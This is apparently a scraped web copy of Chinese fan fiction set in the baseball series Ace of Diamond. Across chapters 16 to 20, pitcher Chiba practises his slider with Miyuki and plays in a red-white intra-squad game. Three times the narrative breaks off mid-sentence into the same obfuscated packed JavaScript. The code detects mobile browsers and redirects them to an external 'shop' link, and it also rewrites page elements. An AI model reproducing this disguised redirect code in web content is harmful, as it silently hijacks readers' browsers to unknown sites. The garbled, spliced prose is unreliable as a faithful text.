仓持一路小跑回来,看到千叶,冲他挑了挑眉毛。 啊,是在挑衅我吗?千叶站在本垒上,做好了起跑姿势。 “预备、跑!” 迅速起跑,调整姿势踩过一二垒垒包,然后过三垒冲到本垒! “速度也很快!千叶!跟仓持差不多!”助教鼓励地在本垒处不远处边计时边大声喊道。 “谁快?”听到助教话,千叶慢跑回来特意问。 助教不好意思地笑笑安慰道:“他快一点。但你是投手嘛,不要跟他比啦。” 千叶攥紧拳头:可恶!输了。 不远处的仓持听到哈哈大笑:“我赢了!” 助教:“……” 千叶拆了护具,不高兴地跑到仓持后面排队等着最后测量身高体重。 仓持顺手把胳膊搭在他肩膀上问:“都大会的比赛你要不要去看?” 仓持虽然是个坏boy,但内里似乎是个还不错的人,还会邀请他一起去看比赛。 不过……“什么大会?”千叶一脸问号。 “你真的一点不关心周围啊。春季的都大会,就是地区比赛,虽然不如春甲夏甲选拔赛重要,但毕竟也是比赛嘛,有学校大巴可以带我们去。” 千叶问:“我们测试完还赶得上吗?” “额,”仓持把胳膊从千叶肩膀上拿下来,叹气道,“赶不上。” “那去什么啊……”千叶也很失望,他还是很想去看比赛的,这样的比赛应该可以看到克里斯前辈配球,他还没被克里斯前辈接过球,还惦记着这件事,而且他还记得前辈的胳膊投球的时候怪别扭的,还想好好观察一下,可惜一直没有机会。 发现不能去看比赛的仓持也挺失望,但很快他就恢复了,问起了千叶后续的打算:“你下午做什么?要练习投球吗?” 千叶动了动左手手指:“嗯,我还是想练滑球,我的滑球还投不到好球带。” “我要去练习防守。”仓持有点生气,“御幸那家伙居然说我只有两条腿跑得快,剩下的什么都不行!他难道好得到哪里去嘛!” “御幸嘛,他接球技术还不错,姿势很柔软,但配球和防守怎么样就不知道了,捕手的话还是配球厉害比较重要吧?他对自己的配球倒是很有信心的样子。”千叶思考一下,回应仓持道,“嘛,不过也不用等太久,过几天的红白赛上就能看看那家伙是不是在吹牛了。” 17.红白赛前 千叶跟仓持告别后不久,测试记录结束了,一年级开始了每天的训练任务。 千叶打算的倒是很好,基础训练以后去练球,可惜计划赶不上变化,在绕圈跑、折返冲刺、下肢训练……一系列体能训练练习完后,已经快要到吃晚饭的时间了。 千叶叹气。 如果不是新生测试的话他大概还有一段时间练球,但现在就完全没空了。 认命地拉伸完去吃饭,千叶看着头顶的“一顿需食三大碗”,内心已经毫无波澜了。他的胃已经被塑造成了大胃王的形状,再也不会因为区区三碗饭就感觉绝望了。当然了,猛猛吃饭产生的效果也很显著,短短一个星期,他的体重就重了快一公斤,千叶相信他再努力一点就可以摆脱“偏瘦需要多吃饭”的评价。 端着沉甸甸的饭碗,千叶心如止水地找了个地方坐下吃饭,不一会儿,御幸端着碗坐到他旁边。 “你跟仓持说的话我都听到了哦~”没有经过他同意就在他旁边坐下的御幸嘿嘿道。 千叶瞥了他一眼,默默把饭碗向远离御幸的方向挪了挪,确定御幸够不着他的饭碗,没法把吃不完的饭偷偷往他碗里塞,才慢悠悠道:“听到我说什么了?” 御幸凑近千叶,龇牙笑道:“听到你说我接球好,姿势很柔软……什么的。夸人的时候要当面夸嘛,你那么害羞的吗?” 哦,原来是这事,还以为说御幸坏话被他听见了呢。 不过就算他听了也没什么,反正御幸这小胳膊小腿的,打架应该也打不过我。 千叶不当回事地舀了口饭塞进嘴里,随口回应:“我说的都是事实不算夸奖吧。” “这样嘛,那这个意思岂不是说我厉害得理所当然喽。” “你做人真自恋。” “谢谢夸奖~” “这不是夸你啊!”千叶忍不住吐槽。 吃着饭,说着话,千叶有点担心自己消化不良,看着御幸吃饭那叫一个痛苦费劲,他的心情又莫名其实地好了起来,可能这就是幸灾乐祸的魅力吧,他的饭量都好起来了。 赶紧吃完饭将餐盘放到规定的地方,千叶重新坐回御幸的旁边,等着他吃完饭。 虽然他很不喜欢自恋的御幸,但是他只认识他一个捕手,还要等着他给他接球,所以现在得在这儿等着他吃饭,啊,其实能帮他接球捕手,好像还有一个前辈和一个同期来着,但他还是不知道他们叫什么。 千叶又叹气。这又涉及另一件伤心事了,监督给他布置的作业他什么时候才能做完啊…… “不行了……”御幸吃饭是个老大难,现在又捂着肚子快吃不下了,视线都撑得游移起来。 千叶觉得御幸太可怜,有点受不了地移开视线:“别看我,我有洁癖,我是不可能帮你吃的。” “谁看你了,”御幸吐槽一句,然后跟坐在不远处的前园鬼鬼祟祟地挥手,随后跑到了前园旁边。 千叶:“……”好吧。 他认识那个人,前几天跟着菅田前辈拜访隔壁寝室的时候刚认识的,还知道了他的名字——前园健太。前园是同期,不是前辈,虽然人长得很难看,但却很好心,是长得很壮实、打击很厉害的东清国东前辈的直属学弟,两个人都来自大阪,他希望能够成为像东前辈那样打击厉害的人。 好心的前园正让御幸把饭拨他碗里去。 啊,人真是太好了。千叶想。 他果然不该以貌取人,就算是长得不好看,但是人却很好心的同期,也是值得信赖的,就像乾一样。 在前园的帮助下,可怜的御幸终于吃完了饭,放好碗筷,打算跟千叶去练球了。 千叶怜悯地看着他:“要不你还是歇一会儿吧,我怕你刚吃完就运动会胃下垂。” 御幸:“盼我点好吧你这家伙!” 在一个小时之后,千叶跟御幸找了个没人的路灯底下练习滑球。 晚上有一点微风。 虽然有很多学校的棒球部会让球员们剃成光头,但很幸运,青道没有这样的规矩。 千叶能感受到自己的头发被风吹起了起来。 面前的御幸举起了手套。 指尖的触感,OK。胳膊的状态,OK。刚刚的拉伸做得很完美,肚子里的食物也消化了。 千叶此时此刻有一种预感。 他抬起双手,转动手中的小球,左脚为轴心,右脚抬起,然后向前迈!上半身以一种近乎紧绷的弧度向后扭转,肩胛骨在的球衣下绷出凌厉的棱角。 睫毛被风掀得微颤,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997253|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却能感觉到视线里的手套此刻越发清晰。 我的手臂怎么样?状态很好。 没有多余动作地向后摆动手臂,从最高点向前划开——就在手肘即将越过身体中线的刹那,手腕骤然向内扣压,指尖借着惯性狠狠一拧。 我的力道怎么样?拿捏得分毫不差! 瞬间千叶瞳孔放大,小球擦过他指尖的瞬间,带着一股刁钻的旋转飞射而出,在本垒前毫无预兆地朝着内角猛地一沉,轨迹又急又狠,“砰——”地一声巨响,精准地钻进捕手张开的手套里。 “千叶你,学东西蛮快嘛。”接到那颗滑球的御幸有点惊讶地笑笑,“滑球,你现在已经能投出来了啊。” 千叶愣了一下,收回姿势看了看自己的手。 成功了。 在投球的时候他就有预感。这次投球的姿势很好,手臂和手指的状态也很好,投球的力道更是这两天前所未有的准确,如果还投不出来,那他真就不知道要练到什么时候了。 千叶很快重新变得冷静,实际上他并没有觉得很开心,甚至都没有多少成就感:“练习一个多周了,每天都练,晚上睡觉前我都要想几遍怎么投,投得出来不是很正常的事。这才是第一颗投到好球带的滑球。” “欸~对自己这么严厉吗?”御幸还蹲在他的前面,语气有点打趣,带着捕手头盔,他看不到他脸上的表情,也不知道捕手对他的表现满不满意。 他不知道别的投手一般学变化球的进度如何,但他对自己现在的进度是不太满意的。 千叶垮下脸,忍不住开始抱怨:“这不是严不严厉的问题。是变化球太难学了!人为什么不能一晚上学会怎么投变化球!为什么球不会自己跑到捕手手套里面去!” 御幸:“……”这家伙,怎么这么难搞啊,一言不合又开始任性了。 御幸砸手套:“球会自己跑到捕手手套里还用得着你投球吗!别没睡着就先做起梦来了,快点投球,我还在这儿等着呢!” 在投出第一颗完美的球后,投第二颗第三颗也就简单得多了,等到散场的时候,千叶的控球虽然还不算准,但已经能稳定把滑球塞进好球带的边角了。 等到他练得滑球能控球到四宫格的时候,红白赛也差不多快开始了。 18.红白赛(1) a球场,正在一军进行关东大会训练的丹波向球场外望去,似乎能听到另一个球场上的欢呼声。 “今天是红白赛啊。”他感慨道。 “怎么?你想去看?”路过的小凑听到他话道。 “嗯。我们寝室的学弟应该会上场。” 小凑挑眉:“欸,丹波你跟他关系很好嘛?那个传闻中嚣张的学弟。” “其实他还好,也没有那么嚣张。”丹波顿了一下,小声提醒小凑道,“不过这话就不要被菅田前辈听到了。” 这不还是很嚣张吗。小凑心想。 ——与此同时 b球场的红白赛此刻举行得如火如荼。 经过这几个周努力地完成监督的作业,千叶现在已经能叫得出绝大部分队友的名字。而且因为这个作业的缘故,大家似乎对他没那么多偏见了,起码在他叫出别人名字的时候大家都愿意给他好脸色。 千叶有点受宠若惊,他以前从来没这么受欢迎。 不过…… 眼看着打者商量了一下位置就打算随随便便上场的同期,千叶忍不住摁了摁自己突突跳的太阳穴。 这帮家伙就不觉得有什么问题吗? 对面打者投手的信息一概不知,我们现在连棒次都是随便排的,这样真的能赢吗?真的不会被对面前辈随便轰个几十分吗? 监督给了他们很大的权限,除了选人上场外剩下都由他们自己决定。这就导致了没什么经验的一年级,上场的棒次根本串联不起来,一到三棒,大家只随随便便报了以前打过的位置,定了几个暗号就上场了,压根没有上一棒告诉下一棒在打击区观察到的信息,也没有交流,对面的前辈光是用直球就把他们三振掉了。 “哈哈哈!果然是一年级的菜鸟!还得练还得练!”刚刚把他们都投下去的大嗓门小胡子前辈,现在正站在投手丘上大声嘲讽。 要不要这么菜啊……千叶看着旁边垂头丧气下场的同期想。虽然场上小胡子前辈气势很足,嗓门也很大,但不至于一颗球都打不到吧,他投得也没见得多好啊,球速也不快,轨迹也没多犀利,只是球威重一点,嗓门大一点,至于被吓得一颗球都打不中吗?难道有什么一定要在打击区才能发现的特殊之处? 千叶想不出来,从他的位置确实没有看到什么特别的地方。 因为打者下场太快,没等着千叶思考,两队双方已经开始攻守交换,轮到他们队做防守方。 他们队的投手是川岛,而捕手是御幸。 川岛显然并不是那种心态很好的投手,面对身经百战的前辈频频被敲中安打,艰难地在失掉4分后止血,解决掉了最后一名打者后换轮。 看着记分板上第一轮的分数,千叶不由得叹气:“这是一场必输的比赛啊。” 准备上场的前园听到他这话很不高兴:“别说这种丧气的话!这才是第一局而已!没有到最后谁也不知道结果怎么样,棒球都是从九局下半才开始的!如果因为对手强大就觉得自己会输的话,干嘛还来打球,回家算了。” “说得对,”千叶靠在最后面,把脑袋用衣服一闷,“等前园你上场的时候就靠你力挽狂澜了。” “……这家伙是在嘲讽我吧!是吧!”前园扭过头气愤地问旁边的同学。 千叶默默地扭头躺倒在休息区最角落的,忽略气愤的前园。 前园因为要上场打击被劝架的人拉走了,千叶的周围一时安静了下来,他忽然察觉到旁边的凳子下陷了一下,有人坐过来了。千叶用一根手指支开头顶的衣服,露出一道小口子,眼睛一看,是仓持。 “御幸呢?”千叶爬起来,跟他一样,仓持也是第一轮没有上场的打者。 “还在跟川岛商量对策。”仓持看了他一眼,“监督没有让你先发,寂寞了吗?干嘛惹前园。” “我没有寂寞,也没惹前园。”千叶辩解道。他只是真的觉得前园能打出去,并不是嘲讽。 一般抗大棒的打者,对付小胡子前辈那种球投得高的力量型投手,不是相当对口吗? 而且他也是真的希望前园能得分,否则都不用熬到九局就被前辈提前结束比赛了吧。 可惜,事不遂人愿。 场上,那个小胡子前辈只投了一局,就被换到了中外野,投手丘上换上来三年级的一个前辈,因为忽然换了投手,四棒的前园也快速地被三振。 千叶还没来得及观察到场上是个什么情况,就看到前园拖着棒子回到休息区。 前园跟刚刚爬起来千叶对视了一眼,又看了眼千叶旁边坐着的仓持,然后低下头走到一边。 本来就不好看的前园,现在没打出去球,那张脸显得更可怕了。千叶想。 仓持担心千叶又要乱说话,一看到他动弹就赶紧低声呵斥:“闭嘴。” “……”闭着嘴巴没想说话的千叶不可置信地看了仓持一眼,“我还什么都没说呢!” 仓持伸手表示制止:“你别说话,前园已经够难受了,你再说话我怕你要挨打。” 千叶不满:“我情商有那么低吗!我只是想说前园运气不好,换上来这个前辈控球太好了,正好不是他容易对付的类型!” 仓持怀疑地看着他:“……你真是这样想的吗?总觉得怪怪的。” 虽然在心里偷偷说前园难看,但千叶一点都不心虚地回答:“我哪有那么坏!” 不知道是队友太菜,还是前辈太强,除了前园,剩下的两个己方小伙伴很快也三上三下,御幸跟川岛又站上了本垒板和投手丘,上一轮打击的同伴现在也站上了各自守备的位置,现在又轮到前辈们攻击。 千叶这才注意到对面前辈连跑垒指挥都有,正规得真的像正式打比赛,一个赛一个的拼命。 “跟前辈比起来我们真像杂牌军啊。”千叶忍不住道。 说了好几次风凉话的千叶这下终于引起众怒了。 不光是前园,还有好多不认识的同期也开始怒瞪他。 仓持赶紧过去捂住千叶的嘴巴:“你快少说两句吧!” “唔唔唔!” 被手动禁言的千叶勉强老实了一会儿。 牛棚里川上已经在跟小野热身了,等这一轮结束估计川上就会上场,应该一时半会轮不到他,千叶打起精神看着场上的二三年级前辈们的打击。 自己不上场的比赛其实他没多大兴趣,不过前辈们似乎都是一群很厉害的打者,显得投手丘上的投手更加可怜,让他非常想上去把他换下来。 不过对比起可怜的投手,御幸这个做捕手的就好多了,甚至可以算的上出风头。给心态已经出现问题的投球配球,难度很大,但御幸还是能解决打者;一垒有人,垒上的前辈想要盗垒,但他似乎并没有想到本垒前的御幸是个强肩,而且防盗垒技术相当不错,于是盗垒失败出局,给御幸一个Nice play 的机会。 “Out !攻守交换!” 最后一个出局数到手,场上的打者还有投手或兴奋或松了一口气地下场围在御幸旁边。 但站在本垒板后的充当裁判的片冈监督并不满意这个剧本, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002617|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从三局开始,一年级和前辈们都来了次大换血,千叶也被换上去了。 不过—— “千叶,你上去打击,下一局去守左外野。”片冈监督墨镜后的眼睛犀利地瞪向站在休息区边缘,刚想打呵欠的千叶。 吓得把哈欠憋回去了千叶:“……是!” 让他一个投手去守外野吗?又要做上老本行了吗?不要啊,他的打击好久没练习了啊! 千叶带上了打击头盔。 他后面是八棒的御幸一也。 “怎么了?”正在带黑色的手套御幸发觉他的眼神,眉毛一挑,嘿嘿笑道,“是紧张了吗?” “不,只是有点想不通,”千叶把木棒抗到肩膀上,回头看着御幸,百思不得其解地问,“你不是也能猜到蹲着的那个捕手前辈的配球吗?为什么要问我紧不紧张?你都不紧张,那我紧张什么呢?” “欸?”御幸惊讶地看着他。 千叶说完,扛着球棒站上打击区,对裁判片冈监督鞠了一躬,又向蹲在本垒处的捕手前辈问好。 他在本垒板的右侧站定,踢了踢打击区脚下的土。 他是左投右打,右打相对于左打,上垒并不算很有优势,如果他一心一意做打者的话,他应该会被要求练左打,但他是投手,所以没有教练对他的右打做出指导改变。 千叶平静地举起手中的木棒,余光看到蹲在本垒处的捕手。 这个捕手是那个招生测试的时候给他接球的前辈,叫宫内启介,从前面两局这位前辈的表现来看,这位前辈的接球技术挺不错的,但是配球就完全不行了,非常地照本宣科,猜他的配球没有什么难度。 千叶又看了一眼站在投手丘上的投手前辈,球速不是很快,140km/h不知道有没有,控球还可以,会投指叉球,在上局前园上场的时候出现过一次,质量不高,前园是他面对的第一个打者,急着把指叉投给他看,可能是没有其他更有效的武器。 所以这个捕手前辈,面对第一次上场的他,会给这个投手前辈配什么球呢? 他看到站在投手丘上的前辈举起了投球的手。 来了! 千叶瞳孔映射出从投手丘上掷出的白色小球。 那颗小球向他奔来,越来越近。 第一球他们会试探,所以是直球,方向朝着内角过来了,因为我是投手,他们不会对我太警惕,所以这个球——不会落在好球带外。 一瞬间,千叶果断挥棒—— “梆——”正中球心。 “球往在二垒后的空地飞去了!球落地了!” “第一支安打!” 一年级的休息区瞬间爆发一阵欢呼。 轻松跑上二垒的千叶摘下护具,抬头看着已经走向打击区的御幸。 然后他看到,站在打击区的御幸,一边嬉皮笑脸,一边缓缓对他做了一个什么意思都没有的手势。 “你们还有暗号啊?”在二垒守备的前辈有点惊讶地问了千叶一句。 千叶:“……” 此刻,千叶站在二垒,投手丘上的投手前辈很难对他做出牵制,本垒处,御幸精力很集中地对着投手,捕手前辈却正在盯着他。 所以,要盗垒吗?千叶在投手掷出球的那一瞬间笑了一下。 “盗垒!”二垒的守备前辈大喝一声。 站着打击区御幸也露出一个笑容。 “梆——” 他果断地将球击了出去。 ——当然要盗垒了,我们俩可是打过暗号了。 19.红白赛(2) 千叶在看到投手指尖将球掷出的那一刻,几乎是本能地蹬地起跑,钉鞋擦过沙砾声混着风声在耳边炸开,他甚至没回头去看御幸挥棒的动作就向前冲去。 千叶听到身后骤然响起一声震耳的“梆——”,球棒结结实实咬中了球。 他们一年级没有跑垒指挥,所以千叶冲到三垒垒包前时,狠狠刹住步子,放慢节奏,余光里飞速掠过那颗白球划破晴空,直直扎向外野深处。 站在二垒或者是三垒,其实得分率差不了多少,但—— 千叶的脚步猛地一沉却没有停。 “左外野!球要落地了——跑!” 但——他听到了御幸竭尽全力的呐喊。 千叶浑身的血液瞬间烧了起来。他甚至顾不上看球的落点,直直朝着本垒的方向全力冲刺。 这是他就原本的想法,最好的情况就是球能穿到外野,以他的速度拼一下能跑回本垒,而御幸这一球真的打得相当给力,球真的在外野落地了! 风灌进喉咙里带着泥土的腥气,耳边全是模糊的嘈杂的人声,他能感受到自己的心脏在胸膛中咚咚沉稳地跳动。 “速度好快!” “一年级,别太嚣张了!” 看台上的惊呼混着小胡子前辈的怒吼砸过来,千叶视野角落里,那颗从外野传回来的球仿佛一支白箭,仿佛下一秒就要射穿他的心脏,而他的正前方,宫内前辈半蹲在本垒前,手套已经张成了一个蓄势待发的网。 千叶以为自己会紧张,可那一瞬间他的脑子却无比清晰,甚至心跳都及其冷静,重心压低、迅速扑垒,一连串的动作非常精确地完成——几乎是同一瞬间,外野的传来的球“啪”地一声砸进宫内的手套里,他看到宫内前辈想护住本垒,但看到他撞过来担心他受伤,所以让开了本垒的位置,要触杀他。 千叶下意识地将身体在空中扭曲一个方向,从宫内手套侧方的缝隙向本垒伸手—— “Safe——!” 片冈监督的手势高高扬起的那一刻,千叶整个人瘫在地上,大口大口地喘着气,胸口剧烈起伏。 休息区那边,一年级的队友瞬间炸开了锅。板凳上的人几乎是弹起来的,挥着毛巾扯着嗓子跑到围栏旁大喊,震得人耳膜发疼。 “千叶好样的!” “干得漂亮!” “终于得分了啊——!” 第三局,在失掉7分他们终于有了一分进账。 千叶从地上爬起来,拍了拍满身的尘土,溜溜达达地往休息区走。刚靠近,就被一群人呼啦一下围住了。 一年级的大家,人都相当不错,没人趁机报复千叶之前光说风凉话,只有此起彼伏跟他击掌,就是人趁乱伸手揉他的头发,把他的头发搞得乱糟糟的。千叶被挤在中间,晕头转向的,分不清是谁的手在拍他背,又是谁在偷偷掐他的屁股(?)。 怎么还有人掐屁股啊!千叶十分生气地从人群里挤出来整理发型。 还有,头发也给他弄乱了!知不知道他每天起床都要花十几分钟搞他帅气的发型啊! “真有你的啊千叶!”仓持伸手一把搂住千叶的脖子,“你跟御幸那家伙什么时候偷偷商量的暗号?配合得这么默契!” 千叶扒拉开他的胳膊,漫不经心地淡定一甩头发,以为仓持会夸他厉害盗垒时机抓得好:“什么啊,根本就没有暗号。” “哈?”结果仓持吓了一跳,根本没夸他,“没有暗号你还敢盗垒?也太乱来了吧!” 千叶耸耸肩,有点不高兴:“哪有乱来,我们俩不是配合得蛮好的嘛。” 仓持更生气了,扯着他的领子晃来晃去:“你小子!如果最后在本垒前被触杀,就把大好的得分机会丢了知不知道!” “额……”心虚的千叶急着转移话题,想起来御幸还在垒上,于是赶紧问道,“下一个打击的是谁啊?” “是川上。”一个平平淡淡,没什么起伏的声音从旁边插进来。 千叶转头,看到一个顶着小平头、豆豆眼、长得非常普通的同期,扔在人堆里都认不出来的那种。 “啊……”千叶看着他,半天没想起来这是谁,憋出一句,“那个,你是?” 同期的小眼睛无语地看着他:“……我是白州健二郎,你前天才问过我的名字和爱好。” “对不起对不起!”千叶赶紧道歉。 “你们在干什么?”一个幽幽的声音突然从旁边冒出来,带着点没精打采的疲惫。 千叶一惊,循声看去,看到川上站旁边手里捏着球棒,肩膀耷拉着,像是被抽走了所有力气。 千叶愣了愣:“川上?你不是去打击了吗?” 川上的嘴角扯了扯:“被三振了……” “谁都会被三振啦,没什么大不了的。”仓持安慰地过去拍了拍他的肩膀。 “嗯。我们会替你打回来的。”白州过去也拍了拍川上的肩膀。 千叶觉得队形不能乱,所以也过去拍了拍,力道大得让川上的身子晃了两下:“没事的川上,我们投手本来就不靠打击吃饭,不用放在心上!” 川上抬起头,看着他眼神里带着点幽怨,声音气若游丝:“这话从你一个刚刚才得分的人嘴里说出来特别没有信服力。” 千叶刚想嘿嘿一笑,又赶紧做了一下表情管理。不要显得太得意了,要不然太欠揍,不好。 “好了好了,少说两句。要上场守备了。”——此时,千叶却意外地听到了一个此刻不应该在这里的人的声音。 千叶一扭头,看到了御幸。他往身上套捕手护具,蓝色的护胸接扣碰撞发出细微清脆的声响。 千叶看着他,忽然愣住了:“你怎么也下来了?不是刚刚还在二垒吗?” 御幸抬眼,看千叶的眼神仿佛说“你是没睡醒吗?”,语气里无奈中带着无语:“因为在你们聊得热火朝天的时候,攻守交换了啊……都没有人注意到吗?” “哈?”千叶傻眼了,“怎么会这么快就全下场了啊!” 御幸伸出手,扒拉着手指头数给他看:“一个三振,” 川上脸色瞬间垮下来。 御幸接着说:“还有一个一垒前滚地球,一个高飞接杀。好消息是,大家现在渐渐能打中球了。” 川上苦着一张脸。 啊,下一场的投手的是川上。千叶忽然想起来。 “上场吧。”千叶收起了脸上的嬉笑,表情变得无比正经,他抬手轻轻拍了拍川上的肩膀,眼神闪烁着认真的光芒,“最好的进攻就是防守。川上,这一局,让前辈们一分都拿不到,零分下场。” 川上被他突如其来的正经吓了一跳,猛地抬起头,结结巴巴地应道:“欸欸……是!” “喂,千叶,”御幸无奈地扶额,“你别吓川上啊。” “我哪里是吓他!我这是对川上充满信心!”千叶义正辞严地怼怼旁边的川上,“川上,有没有信心!” 川上眼睛瞪得溜圆,下意识站得笔直,更加结结巴巴:“是、是!” “是什么是,我问你能不能让前辈一分都得不到!有没有信心!” “有、呃……有……” “大点声!” “有、有!” 御幸:“……” 白州:“……” 仓持蹦起来捂千叶的嘴:“千叶!你快少说两句吧!” 投手丘上,川上的站姿肉眼可见的僵硬。 他握着球的手微微发抖,投出去的第一球就飘得离谱,红中的好球投得非常甜。 对面的打击区里,站着的是二年级的五棒增子透——一看就是挥大棒型打者,轰这种软绵绵的球简直像送到嘴边的布丁。 “梆——!” 清脆的击球声响起的那一刻,御幸的心就沉了下去。 他掀开面罩,看着白球直直地朝着右外野的全垒打墙外飞去,划过一道漂亮的抛物线,最终消失在围栏网的后面。 全垒打。 休息区里瞬间安静下来。 御幸几乎是立刻快步跑上投手丘。川上投球的手无力地下垂,肩膀微微耸动。御幸走到他身边,才发现他嘴唇抿成一条紧绷的直线,脸色也惨白得吓人。 这家伙……真的被千叶那家伙的话吓到了啊。 御幸觉得头疼得厉害,心里把千叶狠狠锤了一百遍。明知道川上的心理素质差,还跟他开那种玩笑,真恶劣!这笔账,回头一定要好好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006662|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算! “好了川上,”御幸用捕手手套拍拍川上的胸口,尽量让自己的语气听起来轻松一点,“最可怕的事情已经发生了,再想也没用了。现在的任务很简单,就是好好解决下一个打者。” 川上看着他,嘴唇动了动,扯出一个比哭还难看的笑容。 不是吧……怎么反而笑得更僵硬了。 御幸一时间竟不知道该说些什么。毕竟他本来就不是什么会安慰人的性格啊…… 所以这种情况应该怎么办? 御幸心里叹了口气,面上笑容更加淡定从容:“下一个打者是六棒。从那个前辈前两轮的打击来看,是喜欢追打外角的坏球的类型,不怎么会选球。你的球投得很准,不用想太多,尽力往我的手套里投就好。”御幸抬起头,看着川上的眼睛,语气笃定,“相信我,我不会让你的球被打出去的。” 川上的喉结滚了滚,没说话,只是点了点头,眼神里还是没什么底气。 而此刻的千叶——他正缩在左外野的守备位置上,远远地看着投手丘上的投手和捕手,忍不住捂住了脸。 他现在无比庆幸自己现在在外野,而不是在内野,一个离投手丘那么近的地方——否则,他觉得自己一定会被御幸那凌迟一百遍,还要被队友追着打。 把投手吓到了啊…… 千叶有点心虚。他知道川上的心态不好,容易紧张,可他没想到事情居然会变成这样……川上这心态也太不好了! 太负责任了啊。“投手上了投手丘,就要把全队防守的七成责任都扛在自己肩上”,虽然话是这么说,但这个时候,明明可以怪守备没接好球,怪捕手配球有问题,为什么非要怪自己啊! 还是心态不行,以后要多“打击”一下川上,习惯了肯定心脏就强大了!千叶想。 他正想着,川上已经把球投了出去。 白球朝着本垒板飞去。打击区里的六棒挥棒落空,本垒板后的监督喊出了一句“好球”。 坏球,但打者挥棒了。御幸松了口气。 可紧接着,第二个球,第三个球……川上的投球越来越不稳,最终,“四坏球保送”,随着片冈监督这句话,六棒慢悠悠地朝着一垒走去。 千叶看着那个走向一垒的身影,心情沉重。 虽然是前辈,可这是已经是下位打线了啊,下位打线都解决不了吗?就因为心态不好?千叶皱眉。 既然心态不好的话,一旦垒上有人,心态就会变得更紧张,投球也会越来越急躁。 所以接下来怎么办? 第七棒已经拿着球棒站上了打击区。 第一个球。 投手丘上的川上看到本垒板处的捕手冲他鼓励地点了点头。 川上深深地吸了一口气——然后,投球! “梆——” 球棒击中了白球。 “左外野!”本垒板处的御幸抬起面罩大声喊道。 白线在视野划过天空向他奔袭而来。 千叶的瞳孔猛地一缩。 这个球……落点会离围墙很近,如果跑得快一点,“说不定”能追上——希望渺茫的那种。 要跑吗? 千叶余光看向投手丘上的川上,后者正死死地盯着这个球。离得太远,他看不清他的脸色。 如果现在偷懒的话,会不会显得我人太坏了? 确实很坏,但跑过去如果还接不到的话会不会很丢人? 也会啊。 本来川上刚刚就被打出了全垒打,又保送了一个人上垒,这个球要是再被打出安打,川上会怎么样?应该不会哭吧?不不,以川上的性格,说不定真的会哭啊,本来就长得一般,哭起来肯定更难看吧。而且他现在投这么差好像还有我的一份锅。 那还是……支援他一下吧! 瞬间,千叶猛地蹬地起跑。他的守备位置原本靠外,此刻全力冲刺,钉鞋在外野的草地上踏出一串急促的声响,风声在耳边呼啸。 近了,落点就在那儿。 就在白球快要落地的前一秒,千叶猛地扑了出去,伸展手臂,稳稳地将手套送了出去。 “啪!” 他听到了球落进手套清脆的声响。 20.红白赛(3) 确实是球落进手套的声音。千叶趴在地上感受到球在手心里的触感。 休息区响起一阵惊呼,对面的前辈都惊讶地看向外野方向。 在意识到自己接到球的那一刻,千叶来不及做出其他反应,毫不犹豫,立刻从地上爬起来,向前冲了几步,迅速挥臂—— 白色小球宛如激光向正往三垒跑的前辈射过去。 “啪——”球精准地传到三垒手中,三垒顺势向下触杀。 “safe!”三垒处的助教双臂向身体两侧水平伸展,双手向下。 三垒处,刚刚滑垒成功的六棒前辈擦了擦额头上吓出来的冷汗,触杀失败的三垒手不甘地直起身体,重新盯紧了他。 “可惜!”一年级集体哀嚎。 对面的二三年级却相互击掌大喊:“Lucky! ” 虽说没有拿下双杀,但千叶这一手美技,还是引起一群聚集在看台上的ob们一片赞叹。 “那个左外野,跑得相当快啊,明明守得那么靠内,居然真的赶得上。” “落点判断得很准,虽然最后没有杀到三垒的跑者,但也会给后续的打者很大压力。” “这孩子是投手吧?从外野传回来的球很快很准。话说青道今年的强肩真是不少,一年级那个捕手也有副好肩膀。” “今年青道招到了好苗子啊。” …… 场外的讨论,场上的选手一概不知,千叶抬头看向投手丘的方向,正好对上川上投来的目光。也不知道是不是错觉,千叶总觉得川上看向他的眼神有点说不清道不明的感激。 对啊,当然要感激了,这可是我这个外野救了你的命啊,接下来淡定点吧。再投出那么好打的球真的对不起我跑这么拼命地救球了。 千叶理直气壮地朝川上举起一根手指,大声道:“一出局!” 站在投手丘上的川上同样举起一根手指,眼睛湿润地大声回应他:“一出局!” “一出局!”场上一根根手指举起,声音此起彼伏。 自从做了投手之后,千叶就觉得做投手真是太爽了。全队防守都系于一人、万众瞩目的主角待遇什么的……真的很合他胃口。但让他想成为投手更主要的一点是,当了投手就可以任性一点。 有实力的投手都是个顶个麻烦精,任性的投手只要足够厉害就不会被别人骂,甚至他老爱挑捕手长相也可以是“小毛病”。 